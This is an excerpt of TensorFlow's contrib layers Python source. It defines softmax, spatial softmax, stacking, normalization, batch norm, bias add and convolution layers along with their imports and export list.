tf.nn.softmax. The N-th dimension needs to have a specified number of elements (number of classes). Args: logits: N-dimensional `Tensor` with logits, where N > 1. scope: Optional scope for variable_scope. Returns: A `Tensor` with same shape and type as logits. """ # TODO(jrru): Add axis argument which defaults to last dimension. with variable_scope.variable_scope(scope, 'softmax', [logits]): num_logits = utils.last_dimension(logits.get_shape(), min_rank=2) logits_2d = array_ops.reshape(logits, [-1, num_logits]) predictions = nn.softmax(logits_2d) predictions = array_ops.reshape(predictions, array_ops.shape(logits)) predictions.set_shape(logits.get_shape()) return predictions @add_arg_scope def spatial_softmax(features, temperature=None, name=None, variables_collections=None, trainable=True, data_format='NHWC'): """Computes the spatial softmax of a convolutional feature map. First computes the softmax over the spatial extent of each channel of a convolutional feature map. Then computes the expected 2D position of the points of maximal activation for each channel, resulting in a set of feature keypoints [x1, y1, ... xN, yN] for all N channels. Read more here: "Learning visual feature spaces for robotic manipulation with deep spatial autoencoders." Finn et. al, http://arxiv.org/abs/1509.06113. Args: features: A `Tensor` of size [batch_size, W, H, num_channels]; the convolutional feature map. temperature: Softmax temperature (optional). If None, a learnable temperature is created. name: A name for this operation (optional). variables_collections: Collections for the temperature variable. trainable: If `True` also add variables to the graph collection `GraphKeys.TRAINABLE_VARIABLES` (see `tf.Variable`). data_format: A string. `NHWC` (default) and `NCHW` are supported. Returns: feature_keypoints: A `Tensor` with size [batch_size, num_channels * 2]; the expected 2D locations of each channel's feature keypoint (normalized to the range (-1,1)). The inner dimension is arranged as [x1, y1, ... xN, yN]. Raises: ValueError: If unexpected data_format specified. ValueError: If num_channels dimension is unspecified. """ shape = array_ops.shape(features) static_shape = features.shape if data_format == DATA_FORMAT_NHWC: height, width, num_channels = shape[1], shape[2], static_shape[3] elif data_format == DATA_FORMAT_NCHW: num_channels, height, width = static_shape[1], shape[2], shape[3] else: raise ValueError('data_format has to be either NCHW or NHWC.') if num_channels.value is None: raise ValueError('The num_channels dimension of the inputs to ' '`spatial_softmax` should be defined. Found `None`.') with ops.name_scope(name, 'spatial_softmax', [features]) as name: # Create tensors for x and y coordinate values, scaled to range [-1, 1]. pos_x, pos_y = array_ops.meshgrid(math_ops.lin_space(-1., 1., num=height), math_ops.lin_space(-1., 1., num=width), indexing='ij') pos_x = array_ops.reshape(pos_x, [height * width]) pos_y = array_ops.reshape(pos_y, [height * width]) if temperature is None: temperature_collections = utils.get_variable_collections( variables_collections, 'temperature') temperature = variables.model_variable( 'temperature', shape=(), dtype=dtypes.float32, initializer=init_ops.ones_initializer(), collections=temperature_collections, trainable=trainable) if data_format == 'NCHW': features = array_ops.reshape(features, [-1, height * width]) else: features = array_ops.reshape( array_ops.transpose(features, [0, 3, 1, 2]), [-1, height * width]) softmax_attention = nn.softmax(features/temperature) expected_x = math_ops.reduce_sum( pos_x * softmax_attention, [1], keep_dims=True) expected_y = math_ops.reduce_sum( pos_y * softmax_attention, [1], keep_dims=True) expected_xy = array_ops.concat([expected_x, expected_y], 1) feature_keypoints = array_ops.reshape( expected_xy, [-1, num_channels.value * 2]) feature_keypoints.set_shape([None, num_channels.value * 2]) return feature_keypoints def stack(inputs, layer, stack_args, **kwargs): """Builds a stack of layers by applying layer repeatedly using stack_args. `stack` allows you to repeatedly apply the same operation with different arguments `stack_args[i]`. For each application of the layer, `stack` creates a new scope appended with an increasing number. For example: ```python y = stack(x, fully_connected, [32, 64, 128], scope='fc') # It is equivalent to: x = fully_connected(x, 32, scope='fc/fc_1') x = fully_connected(x, 64, scope='fc/fc_2') y = fully_connected(x, 128, scope='fc/fc_3') ``` If the `scope` argument is not given in `kwargs`, it is set to `layer.__name__`, or `layer.func.__name__` (for `functools.partial` objects). If neither `__name__` nor `func.__name__` is available, the layers are called with `scope='stack'`. Args: inputs: A `Tensor` suitable for layer. layer: A layer with arguments `(inputs, *args, **kwargs)` stack_args: A list/tuple of parameters for each call of layer. **kwargs: Extra kwargs for the layer. Returns: A `Tensor` result of applying the stacked layers. Raises: ValueError: If the op is unknown or wrong. """ scope = kwargs.pop('scope', None) if not isinstance(stack_args, (list, tuple)): raise ValueError('stack_args need to be a list or tuple') with variable_scope.variable_scope(scope, 'Stack', [inputs]): inputs = ops.convert_to_tensor(inputs) if scope is None: if hasattr(layer, '__name__'): scope = layer.__name__ elif hasattr(layer, 'func') and hasattr(layer.func, '__name__'): scope = layer.func.__name__ # In case layer is a functools.partial. else: scope = 'stack' outputs = inputs for i in range(len(stack_args)): kwargs['scope'] = scope + '_' + str(i+1) layer_args = stack_args[i] if not isinstance(layer_args, (list, tuple)): layer_args = [layer_args] outputs = layer(outputs, *layer_args, **kwargs) return outputs @add_arg_scope def unit_norm(inputs, dim, epsilon=1e-7, scope=None): """Normalizes the given input across the specified dimension to unit length. Note that the rank of `input` must be known. Args: inputs: A `Tensor` of arbitrary size. dim: The dimension along which the input is normalized. epsilon: A small value to add to the inputs to avoid dividing by zero. scope: Optional scope for variable_scope. Returns: The normalized `Tensor`. Raises: ValueError: If dim is smaller than the number of dimensions in 'inputs'. """ with variable_scope.variable_scope(scope, 'UnitNorm', [inputs]): if not inputs.get_shape(): raise ValueError('The input rank must be known.') input_rank = len(inputs.get_shape().as_list()) if dim < 0 or dim >= input_rank: raise ValueError( 'dim must be positive but smaller than the input rank.') lengths = math_ops.sqrt(epsilon + math_ops.reduce_sum( math_ops.square(inputs), dim, True)) multiples = [] if dim > 0: multiples.append(array_ops.ones([dim], dtypes.int32)) multiples.append( array_ops.strided_slice(array_ops.shape(inputs), [dim], [dim + 1])) if dim < (input_rank - 1): multiples.append(array_ops.ones([input_rank - 1 - dim], dtypes.int32)) multiples = array_ops.concat(multiples, 0) return math_ops.div(inputs, array_ops.tile(lengths, multiples)) def poincare_normalize(x, axis=1, epsilon=1e-5, name=None): """Project into the Poincare ball with norm <= 1.0 - epsilon. https://en.wikipedia.org/wiki/Poincare_ball_model Used in Poincare Embeddings for Learning Hierarchical Representations Maximilian Nickel, Douwe Kiela https://arxiv.org/pdf/1705.08039.pdf For a 1-D tensor with `axis = 0`, computes (x * (1 - epsilon)) / ||x|| if ||x|| > 1 - epsilon output = x otherwise For `x` with more dimensions, independently normalizes each 1-D slice along dimension `axis`. Args: x: A `Tensor`. axis: Axis along which to normalize. A scalar or a vector of integers. epsilon: A small deviation from the edge of the unit sphere for numerical stability. name: A name for this operation (optional). Returns: A `Tensor` with the same shape as `x`. """ with ops.name_scope(name, 'poincare_normalize', [x]) as name: x = ops.convert_to_tensor(x, name='x') square_sum = math_ops.reduce_sum(math_ops.square(x), axis, keep_dims=True) x_inv_norm = math_ops.rsqrt(square_sum) x_inv_norm = math_ops.minimum((1. - epsilon) * x_inv_norm, 1.) return math_ops.multiply(x, x_inv_norm, name=name) def legacy_fully_connected(x, num_output_units, activation_fn=None, weight_init=initializers.xavier_initializer(), bias_init=init_ops.zeros_initializer(), name=None, weight_collections=(ops.GraphKeys.WEIGHTS,), bias_collections=(ops.GraphKeys.BIASES,), output_collections=(ops.GraphKeys.ACTIVATIONS,), trainable=True, weight_regularizer=None, bias_regularizer=None): # pylint: disable=anomalous-backslash-in-string r"""Adds the parameters for a fully connected layer and returns the output. A fully connected layer is generally defined as a matrix multiply: `y = f(w * x + b)` where `f` is given by `activation_fn`. If `activation_fn` is `None`, the result of `y = w * x + b` is returned. If `x` has shape [\\$\\text{dim}_0, \\text{dim}_1, ..., \\text{dim}_n\\$] with more than 2 dimensions (\\$n > 1\\$), then we repeat the matrix multiply along the first dimensions. The result r is a tensor of shape [\\$\\text{dim}_0, ..., \\text{dim}_{n-1},\\$ `num_output_units`], where \\$ r_{i_0, ..., i_{n-1}, k} = \\sum_{0 \\leq j < \\text{dim}_n} x_{i_0, ... i_{n-1}, j} \cdot w_{j, k}\\$. This is accomplished by reshaping `x` to 2-D [\\$\\text{dim}_0 \\cdot ... \\cdot \\text{dim}_{n-1}, \\text{dim}_n\\$] before the matrix multiply and afterwards reshaping it to [\\$\\text{dim}_0, ..., \\text{dim}_{n-1},\\$ `num_output_units`]. This op creates `w` and optionally `b`. Bias (`b`) can be disabled by setting `bias_init` to `None`. The variable creation is compatible with `tf.variable_scope` and so can be reused with `tf.variable_scope` or `tf.make_template`. Most of the details of variable creation can be controlled by specifying the initializers (`weight_init` and `bias_init`) and in which collections to place the created variables (`weight_collections` and `bias_collections`; note that the variables are always added to the `VARIABLES` collection). The output of the layer can be placed in custom collections using `output_collections`. The collections arguments default to `WEIGHTS`, `BIASES` and `ACTIVATIONS`, respectively. A per layer regularization can be specified by setting `weight_regularizer` and `bias_regularizer`, which are applied to the weights and biases respectively, and whose output is added to the `REGULARIZATION_LOSSES` collection. Args: x: The input `Tensor`. num_output_units: The size of the output. activation_fn: Activation function, default set to None to skip it and maintain a linear activation. weight_init: An optional weight initialization, defaults to `xavier_initializer`. bias_init: An initializer for the bias, defaults to 0. Set to `None` in order to disable bias. name: The name for this operation is used to name operations and to find variables. If specified it must be unique for this scope, otherwise a unique name starting with "fully_connected" will be created. See `tf.variable_scope` for details. weight_collections: List of graph collections to which weights are added. bias_collections: List of graph collections to which biases are added. output_collections: List of graph collections to which outputs are added. trainable: If `True` also add variables to the graph collection `GraphKeys.TRAINABLE_VARIABLES` (see tf.Variable). weight_regularizer: A regularizer like the result of `l1_regularizer` or `l2_regularizer`. Used for weights. bias_regularizer: A regularizer like the result of `l1_regularizer` or `l2_regularizer`. Used for biases. Returns: The output of the fully connected layer. Raises: ValueError: If x has rank less than 2 or if its last dimension is not set. """ with variable_scope.variable_scope(name, 'fully_connected', [x]): x = ops.convert_to_tensor(x) dims = x.get_shape().dims if dims is None: raise ValueError('dims of x must be known but is None') if len(dims) < 2: raise ValueError('rank of x must be at least 2 not: %d' % len(dims)) num_input_units = dims[-1].value if num_input_units is None: raise ValueError('last dimension of x must be known but is None') dtype = x.dtype.base_dtype weight_collections = set(list(weight_collections or []) + [ops.GraphKeys.GLOBAL_VARIABLES]) w = variable_scope.get_variable('weights', shape=[num_input_units, num_output_units], dtype=dtype, initializer=weight_init, collections=weight_collections, regularizer=weight_regularizer, trainable=trainable) x_2_dim = x if len(dims) <= 2 else array_ops.reshape(x, [-1, num_input_units]) y = standard_ops.matmul(x_2_dim, w) if bias_init is not None: bias_collections = set(list(bias_collections or []) + [ops.GraphKeys.GLOBAL_VARIABLES]) b = variable_scope.get_variable('bias', shape=[num_output_units], dtype=dtype, initializer=bias_init, collections=bias_collections, regularizer=bias_regularizer, trainable=trainable) y = nn.bias_add(y, b) if len(dims) > 2: out_shape = array_ops.unstack(array_ops.shape(x)) out_shape[-1] = num_output_units y = array_ops.reshape(y, array_ops.stack(out_shape)) static_shape = x.get_shape().as_list() static_shape[-1] = num_output_units y.set_shape(static_shape) return _apply_activation(y, activation_fn, output_collections) # TODO(eiderm): Verify and fix autocomplete in colab (also relu6). # Simple aliases which remove the activation_fn parameter. elu = functools.partial(fully_connected, activation_fn=nn.elu) legacy_relu = functools.partial(legacy_fully_connected, activation_fn=nn.relu) legacy_linear = functools.partial(legacy_fully_connected, activation_fn=None) relu = functools.partial(fully_connected, activation_fn=nn.relu) relu6 = functools.partial(fully_connected, activation_fn=nn.relu6) linear = functools.partial(fully_connected, activation_fn=None) # Simple alias. conv2d = convolution2d conv3d = convolution3d conv2d_transpose = convolution2d_transpose conv3d_transpose = convolution3d_transpose conv2d_in_plane = convolution2d_in_plane separable_conv2d = separable_convolution2d

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from __future__ import absolute_import from __future__ import division from __future__ import print_function import functools import os import six from tensorflow.contrib.framework.python.ops import add_arg_scope from tensorflow.contrib.framework.python.ops import variables from tensorflow.contrib.layers.python.layers import initializers from tensorflow.contrib.layers.python.layers import utils from tensorflow.python.framework import dtypes from tensorflow.python.framework import function from tensorflow.python.framework import ops from tensorflow.python.framework import sparse_tensor from tensorflow.python.framework import tensor_shape from tensorflow.python.layers import base from tensorflow.python.layers import convolutional as convolutional_layers from tensorflow.python.layers import core as core_layers from tensorflow.python.layers import normalization as normalization_layers from tensorflow.python.layers import pooling as pooling_layers from tensorflow.python.ops import array_ops from tensorflow.python.ops import check_ops from tensorflow.python.ops import init_ops from tensorflow.python.ops import linalg_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import nn from tensorflow.python.ops import sparse_ops from tensorflow.python.ops import standard_ops from tensorflow.python.ops import variable_scope from tensorflow.python.ops import variables as tf_variables from tensorflow.python.training import moving_averages from tensorflow.python.layers.maxout import maxout __all__ = ['avg_pool2d', 'avg_pool3d', 'batch_norm', 'bias_add', 'conv2d', 'conv3d', 'conv2d_in_plane', 'conv2d_transpose', 'conv3d_transpose', 'convolution', 'convolution2d', 'convolution2d_in_plane', 'convolution2d_transpose', 'convolution3d', 'convolution3d_transpose', 'dropout', 'elu', 'flatten', 'fully_connected', 'GDN', 'gdn', 'layer_norm', 'linear', 'pool', 'max_pool2d', 'max_pool3d', 'one_hot_encoding', 'relu', 'relu6', 'repeat', 'scale_gradient', 'separable_conv2d', 'separable_convolution2d', 'softmax', 'spatial_softmax', 'stack', 'unit_norm', 'legacy_fully_connected', 'legacy_linear', 'legacy_relu', 'maxout'] DATA_FORMAT_NCHW = 'NCHW' DATA_FORMAT_NHWC = 'NHWC' DATA_FORMAT_NCDHW = 'NCDHW' DATA_FORMAT_NDHWC = 'NDHWC' _FUSED_DEFAULT = os.getenv('TF_DEFAULT_USES_FUSED_BATCH_NORM', '').lower() in ('true', 't', '1') @add_arg_scope def avg_pool2d(inputs, kernel_size, stride=2, padding='VALID', data_format=DATA_FORMAT_NHWC, outputs_collections=None, scope=None): if data_format not in (DATA_FORMAT_NCHW, DATA_FORMAT_NHWC): raise ValueError('data_format has to be either NCHW or NHWC.') with ops.name_scope(scope, 'AvgPool2D', [inputs]) as sc: inputs = ops.convert_to_tensor(inputs) df = ('channels_first' if data_format and data_format.startswith('NC') else 'channels_last') layer = pooling_layers.AveragePooling2D(pool_size=kernel_size, strides=stride, padding=padding, data_format=df, _scope=sc) outputs = layer.apply(inputs) return utils.collect_named_outputs(outputs_collections, sc, outputs) @add_arg_scope def avg_pool3d(inputs, kernel_size, stride=2, padding='VALID', data_format=DATA_FORMAT_NDHWC, outputs_collections=None, scope=None): if data_format not in (DATA_FORMAT_NCDHW, DATA_FORMAT_NDHWC): raise ValueError('data_format has to be either NCDHW or NDHWC.') with ops.name_scope(scope, 'AvgPool3D', [inputs]) as sc: inputs = ops.convert_to_tensor(inputs) df = ('channels_first' if data_format and data_format.startswith('NC') else 'channels_last') layer = pooling_layers.AveragePooling3D(pool_size=kernel_size, strides=stride, padding=padding, data_format=df, _scope=sc) outputs = layer.apply(inputs) return utils.collect_named_outputs(outputs_collections, sc, outputs) def _fused_batch_norm( inputs, decay=0.999, center=True, scale=False, epsilon=0.001, activation_fn=None, param_initializers=None, updates_collections=ops.GraphKeys.UPDATE_OPS, is_training=True, reuse=None, variables_collections=None, outputs_collections=None, trainable=True, data_format=DATA_FORMAT_NHWC, zero_debias_moving_mean=False, scope=None): if data_format not in (DATA_FORMAT_NCHW, DATA_FORMAT_NHWC): raise ValueError('data_format has to be either NCHW or NHWC.') with variable_scope.variable_scope( scope, 'BatchNorm', [inputs], reuse=reuse) as sc: inputs = ops.convert_to_tensor(inputs) original_shape = inputs.get_shape() original_inputs = inputs original_rank = original_shape.ndims if original_rank is None: raise ValueError('Inputs %s has undefined rank' % inputs.name) elif original_rank not in [2, 4]: raise ValueError('Inputs %s has unsupported rank.' ' Expected 2 or 4 but got %d' % ( inputs.name, original_rank)) if original_rank == 2: channels = inputs.get_shape()[-1].value if channels is None: raise ValueError('`C` dimension must be known but is None') new_shape = [-1, 1, 1, channels] if data_format == DATA_FORMAT_NCHW: new_shape = [-1, channels, 1, 1] inputs = array_ops.reshape(inputs, new_shape) inputs_shape = inputs.get_shape() dtype = inputs.dtype.base_dtype if data_format == DATA_FORMAT_NHWC: params_shape = inputs_shape[-1:] else: params_shape = inputs_shape[1:2] if not params_shape.is_fully_defined(): raise ValueError('Inputs %s has undefined `C` dimension %s.' % (inputs.name, params_shape)) trainable_beta = trainable and center beta_collections = utils.get_variable_collections(variables_collections, 'beta') if not param_initializers: param_initializers = {} if center: beta_initializer = param_initializers.get('beta', init_ops.zeros_initializer()) beta = variables.model_variable( 'beta', shape=params_shape, dtype=dtype, initializer=beta_initializer, collections=beta_collections, trainable=trainable_beta) else: beta = array_ops.constant(0.0, shape=params_shape) if scale: gamma_collections = utils.get_variable_collections( variables_collections, 'gamma') gamma_initializer = param_initializers.get('gamma', init_ops.ones_initializer()) gamma = variables.model_variable( 'gamma', shape=params_shape, dtype=dtype, initializer=gamma_initializer, collections=gamma_collections, trainable=trainable) else: gamma = array_ops.constant(1.0, shape=params_shape) moving_mean_collections = utils.get_variable_collections( variables_collections, 'moving_mean') moving_mean_initializer = param_initializers.get( 'moving_mean', init_ops.zeros_initializer()) moving_mean = variables.model_variable( 'moving_mean', shape=params_shape, dtype=dtype, initializer=moving_mean_initializer, trainable=False, collections=moving_mean_collections) moving_variance_collections = utils.get_variable_collections( variables_collections, 'moving_variance') moving_variance_initializer = param_initializers.get( 'moving_variance', init_ops.ones_initializer()) moving_variance = variables.model_variable( 'moving_variance', shape=params_shape, dtype=dtype, initializer=moving_variance_initializer, trainable=False, collections=moving_variance_collections) def _fused_batch_norm_training(): return nn.fused_batch_norm( inputs, gamma, beta, epsilon=epsilon, data_format=data_format) def _fused_batch_norm_inference(): return nn.fused_batch_norm( inputs, gamma, beta, mean=moving_mean, variance=moving_variance, epsilon=epsilon, is_training=False, data_format=data_format) outputs, mean, variance = utils.smart_cond(is_training, _fused_batch_norm_training, _fused_batch_norm_inference) # a `Variable` or `Placeholder` then is_training_value will be None and # `need_updates` will be true. is_training_value = utils.constant_value(is_training) need_updates = is_training_value is None or is_training_value if need_updates: if updates_collections is None: no_updates = lambda: outputs def _force_updates(): update_moving_mean = moving_averages.assign_moving_average( moving_mean, mean, decay, zero_debias=zero_debias_moving_mean) update_moving_variance = moving_averages.assign_moving_average( moving_variance, variance, decay, zero_debias=False) with ops.control_dependencies( [update_moving_mean, update_moving_variance]): return array_ops.identity(outputs) outputs = utils.smart_cond(is_training, _force_updates, no_updates) else: moving_vars_fn = lambda: (moving_mean, moving_variance) def _delay_updates(): """Internal function that delay updates moving_vars if is_training.""" update_moving_mean = moving_averages.assign_moving_average( moving_mean, mean, decay, zero_debias=zero_debias_moving_mean) update_moving_variance = moving_averages.assign_moving_average( moving_variance, variance, decay, zero_debias=False) return update_moving_mean, update_moving_variance update_mean, update_variance = utils.smart_cond(is_training, _delay_updates, moving_vars_fn) ops.add_to_collections(updates_collections, update_mean) ops.add_to_collections(updates_collections, update_variance) outputs.set_shape(inputs_shape) if original_shape.ndims == 2: outputs = array_ops.reshape(outputs, array_ops.shape(original_inputs)) if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs(outputs_collections, sc.original_name_scope, outputs) @add_arg_scope def batch_norm(inputs, decay=0.999, center=True, scale=False, epsilon=0.001, activation_fn=None, param_initializers=None, param_regularizers=None, updates_collections=ops.GraphKeys.UPDATE_OPS, is_training=True, reuse=None, variables_collections=None, outputs_collections=None, trainable=True, batch_weights=None, fused=None, data_format=DATA_FORMAT_NHWC, zero_debias_moving_mean=False, scope=None, renorm=False, renorm_clipping=None, renorm_decay=0.99): # This environment variable is only used during the testing period of fused # batch norm and will be removed after that. if fused is None: fused = _FUSED_DEFAULT # Only use _fused_batch_norm if all of the following three # conditions are true: # (1) fused is set True; # (2) it is possible to use (currently it doesn't support batch weights, inputs = ops.convert_to_tensor(inputs) rank = inputs.get_shape().ndims possible_to_fuse = batch_weights is None and not renorm and rank in [2, 4] if fused and possible_to_fuse and ( zero_debias_moving_mean or rank == 2 or updates_collections is not ops.GraphKeys.UPDATE_OPS): return _fused_batch_norm( inputs, decay=decay, center=center, scale=scale, epsilon=epsilon, activation_fn=activation_fn, param_initializers=param_initializers, updates_collections=updates_collections, is_training=is_training, reuse=reuse, variables_collections=variables_collections, outputs_collections=outputs_collections, trainable=trainable, data_format=data_format, zero_debias_moving_mean=zero_debias_moving_mean, scope=scope) if data_format not in (DATA_FORMAT_NCHW, DATA_FORMAT_NHWC): raise ValueError('data_format has to be either NCHW or NHWC.') layer_variable_getter = _build_variable_getter() with variable_scope.variable_scope( scope, 'BatchNorm', [inputs], reuse=reuse, custom_getter=layer_variable_getter) as sc: inputs = ops.convert_to_tensor(inputs) if (batch_weights is None and updates_collections is ops.GraphKeys.UPDATE_OPS and not zero_debias_moving_mean): axis = 1 if data_format == DATA_FORMAT_NCHW else -1 if not param_initializers: param_initializers = {} beta_initializer = param_initializers.get('beta', init_ops.zeros_initializer()) gamma_initializer = param_initializers.get('gamma', init_ops.ones_initializer()) moving_mean_initializer = param_initializers.get( 'moving_mean', init_ops.zeros_initializer()) moving_variance_initializer = param_initializers.get( 'moving_variance', init_ops.ones_initializer()) if not param_regularizers: param_regularizers = {} beta_regularizer = param_regularizers.get('beta') gamma_regularizer = param_regularizers.get('gamma') layer = normalization_layers.BatchNormalization( axis=axis, momentum=decay, epsilon=epsilon, center=center, scale=scale, beta_initializer=beta_initializer, gamma_initializer=gamma_initializer, moving_mean_initializer=moving_mean_initializer, moving_variance_initializer=moving_variance_initializer, beta_regularizer=beta_regularizer, gamma_regularizer=gamma_regularizer, trainable=trainable, renorm=renorm, renorm_clipping=renorm_clipping, renorm_momentum=renorm_decay, name=sc.name, _scope=sc, _reuse=reuse, fused=fused) outputs = layer.apply(inputs, training=is_training) _add_variable_to_collections( layer.moving_mean, variables_collections, 'moving_mean') _add_variable_to_collections( layer.moving_variance, variables_collections, 'moving_variance') if layer.beta is not None: _add_variable_to_collections(layer.beta, variables_collections, 'beta') if layer.gamma is not None: _add_variable_to_collections( layer.gamma, variables_collections, 'gamma') if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs(outputs_collections, sc.original_name_scope, outputs) if renorm: raise ValueError('renorm is not supported with batch_weights, ' 'updates_collections or zero_debias_moving_mean') inputs_shape = inputs.get_shape() inputs_rank = inputs_shape.ndims if inputs_rank is None: raise ValueError('Inputs %s has undefined rank.' % inputs.name) dtype = inputs.dtype.base_dtype if batch_weights is not None: batch_weights = ops.convert_to_tensor(batch_weights) inputs_shape[0:1].assert_is_compatible_with(batch_weights.get_shape()) nshape = [-1] + [1 for _ in range(inputs_rank - 1)] batch_weights = array_ops.reshape(batch_weights, nshape) if data_format == DATA_FORMAT_NCHW: moments_axes = [0] + list(range(2, inputs_rank)) params_shape = inputs_shape[1:2] params_shape_broadcast = list( [1, inputs_shape[1].value] + [1 for _ in range(2, inputs_rank)]) else: moments_axes = list(range(inputs_rank - 1)) params_shape = inputs_shape[-1:] params_shape_broadcast = None if not params_shape.is_fully_defined(): raise ValueError('Inputs %s has undefined channels dimension %s.' % ( inputs.name, params_shape)) beta, gamma = None, None if not param_initializers: param_initializers = {} if center: beta_collections = utils.get_variable_collections(variables_collections, 'beta') beta_initializer = param_initializers.get('beta', init_ops.zeros_initializer()) beta = variables.model_variable('beta', shape=params_shape, dtype=dtype, initializer=beta_initializer, collections=beta_collections, trainable=trainable) if scale: gamma_collections = utils.get_variable_collections(variables_collections, 'gamma') gamma_initializer = param_initializers.get('gamma', init_ops.ones_initializer()) gamma = variables.model_variable('gamma', shape=params_shape, dtype=dtype, initializer=gamma_initializer, collections=gamma_collections, trainable=trainable) partitioner = variable_scope.get_variable_scope().partitioner try: variable_scope.get_variable_scope().set_partitioner(None) moving_mean_collections = utils.get_variable_collections( variables_collections, 'moving_mean') moving_mean_initializer = param_initializers.get( 'moving_mean', init_ops.zeros_initializer()) moving_mean = variables.model_variable( 'moving_mean', shape=params_shape, dtype=dtype, initializer=moving_mean_initializer, trainable=False, collections=moving_mean_collections) moving_variance_collections = utils.get_variable_collections( variables_collections, 'moving_variance') moving_variance_initializer = param_initializers.get( 'moving_variance', init_ops.ones_initializer()) moving_variance = variables.model_variable( 'moving_variance', shape=params_shape, dtype=dtype, initializer=moving_variance_initializer, trainable=False, collections=moving_variance_collections) finally: variable_scope.get_variable_scope().set_partitioner(partitioner) # a `Variable` or `Placeholder` then is_training_value will be None and # `needs_moments` will be true. is_training_value = utils.constant_value(is_training) need_moments = is_training_value is None or is_training_value if need_moments: # Calculate the moments based on the individual batch. if batch_weights is None: if data_format == DATA_FORMAT_NCHW: mean, variance = nn.moments(inputs, moments_axes, keep_dims=True) mean = array_ops.reshape(mean, [-1]) variance = array_ops.reshape(variance, [-1]) else: mean, variance = nn.moments(inputs, moments_axes) else: if data_format == DATA_FORMAT_NCHW: mean, variance = nn.weighted_moments(inputs, moments_axes, batch_weights, keep_dims=True) mean = array_ops.reshape(mean, [-1]) variance = array_ops.reshape(variance, [-1]) else: mean, variance = nn.weighted_moments(inputs, moments_axes, batch_weights) moving_vars_fn = lambda: (moving_mean, moving_variance) if updates_collections is None: def _force_updates(): update_moving_mean = moving_averages.assign_moving_average( moving_mean, mean, decay, zero_debias=zero_debias_moving_mean) update_moving_variance = moving_averages.assign_moving_average( moving_variance, variance, decay, zero_debias=False) with ops.control_dependencies([update_moving_mean, update_moving_variance]): return array_ops.identity(mean), array_ops.identity(variance) mean, variance = utils.smart_cond(is_training, _force_updates, moving_vars_fn) else: def _delay_updates(): """Internal function that delay updates moving_vars if is_training.""" update_moving_mean = moving_averages.assign_moving_average( moving_mean, mean, decay, zero_debias=zero_debias_moving_mean) update_moving_variance = moving_averages.assign_moving_average( moving_variance, variance, decay, zero_debias=False) return update_moving_mean, update_moving_variance update_mean, update_variance = utils.smart_cond(is_training, _delay_updates, moving_vars_fn) ops.add_to_collections(updates_collections, update_mean) ops.add_to_collections(updates_collections, update_variance) # Use computed moments during training and moving_vars otherwise. vars_fn = lambda: (mean, variance) mean, variance = utils.smart_cond(is_training, vars_fn, moving_vars_fn) else: mean, variance = moving_mean, moving_variance if data_format == DATA_FORMAT_NCHW: mean = array_ops.reshape(mean, params_shape_broadcast) variance = array_ops.reshape(variance, params_shape_broadcast) if beta is not None: beta = array_ops.reshape(beta, params_shape_broadcast) if gamma is not None: gamma = array_ops.reshape(gamma, params_shape_broadcast) # Compute batch_normalization. outputs = nn.batch_normalization(inputs, mean, variance, beta, gamma, epsilon) outputs.set_shape(inputs_shape) if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs(outputs_collections, sc.original_name_scope, outputs) @add_arg_scope def bias_add(inputs, activation_fn=None, initializer=init_ops.zeros_initializer(), regularizer=None, reuse=None, variables_collections=None, outputs_collections=None, trainable=True, data_format=DATA_FORMAT_NHWC, scope=None): if data_format not in (DATA_FORMAT_NCHW, DATA_FORMAT_NHWC): raise ValueError('data_format has to be either NCHW or NHWC.') with variable_scope.variable_scope(scope, 'BiasAdd', [inputs], reuse=reuse) as sc: inputs = ops.convert_to_tensor(inputs) dtype = inputs.dtype.base_dtype inputs_shape = inputs.get_shape() inputs_rank = inputs_shape.ndims if inputs_rank is None: raise ValueError('Dims of shape must be known but is None') elif inputs_rank != 4 and data_format == DATA_FORMAT_NCHW: raise ValueError('Data format NCHW only supports 4D Tensor') axis = 1 if data_format == DATA_FORMAT_NCHW else -1 num_features = inputs_shape[axis].value if num_features is None: raise ValueError('`C` dimension must be known but is None') biases_collections = utils.get_variable_collections(variables_collections, 'biases') biases = variables.model_variable('biases', shape=[num_features,], dtype=dtype, initializer=initializer, regularizer=regularizer, collections=biases_collections, trainable=trainable) outputs = nn.bias_add(inputs, biases, data_format=data_format) if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs(outputs_collections, sc.original_name_scope, outputs) # TODO(jbms): change `rate` parameter to `dilation_rate` for consistency with # underlying op. @add_arg_scope def convolution(inputs, num_outputs, kernel_size, stride=1, padding='SAME', data_format=None, rate=1, activation_fn=nn.relu, normalizer_fn=None, normalizer_params=None, weights_initializer=initializers.xavier_initializer(), weights_regularizer=None, biases_initializer=init_ops.zeros_initializer(), biases_regularizer=None, reuse=None, variables_collections=None, outputs_collections=None, trainable=True, scope=None): if data_format not in [None, 'NWC', 'NCW', 'NHWC', 'NCHW', 'NDHWC', 'NCDHW']: raise ValueError('Invalid data_format: %r' % (data_format,)) layer_variable_getter = _build_variable_getter( {'bias': 'biases', 'kernel': 'weights'}) with variable_scope.variable_scope( scope, 'Conv', [inputs], reuse=reuse, custom_getter=layer_variable_getter) as sc: inputs = ops.convert_to_tensor(inputs) input_rank = inputs.get_shape().ndims if input_rank == 3: layer_class = convolutional_layers.Convolution1D elif input_rank == 4: layer_class = convolutional_layers.Convolution2D elif input_rank == 5: layer_class = convolutional_layers.Convolution3D else: raise ValueError('Convolution not supported for input with rank', input_rank) df = ('channels_first' if data_format and data_format.startswith('NC') else 'channels_last') layer = layer_class(filters=num_outputs, kernel_size=kernel_size, strides=stride, padding=padding, data_format=df, dilation_rate=rate, activation=None, use_bias=not normalizer_fn and biases_initializer, kernel_initializer=weights_initializer, bias_initializer=biases_initializer, kernel_regularizer=weights_regularizer, bias_regularizer=biases_regularizer, activity_regularizer=None, trainable=trainable, name=sc.name, dtype=inputs.dtype.base_dtype, _scope=sc, _reuse=reuse) outputs = layer.apply(inputs) # Add variables to collections. _add_variable_to_collections(layer.kernel, variables_collections, 'weights') if layer.use_bias: _add_variable_to_collections(layer.bias, variables_collections, 'biases') if normalizer_fn is not None: normalizer_params = normalizer_params or {} outputs = normalizer_fn(outputs, **normalizer_params) if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs(outputs_collections, sc.original_name_scope, outputs) convolution2d = convolution convolution3d = convolution @add_arg_scope def convolution2d_in_plane( inputs, kernel_size, stride=1, padding='SAME', activation_fn=nn.relu, normalizer_fn=None, normalizer_params=None, 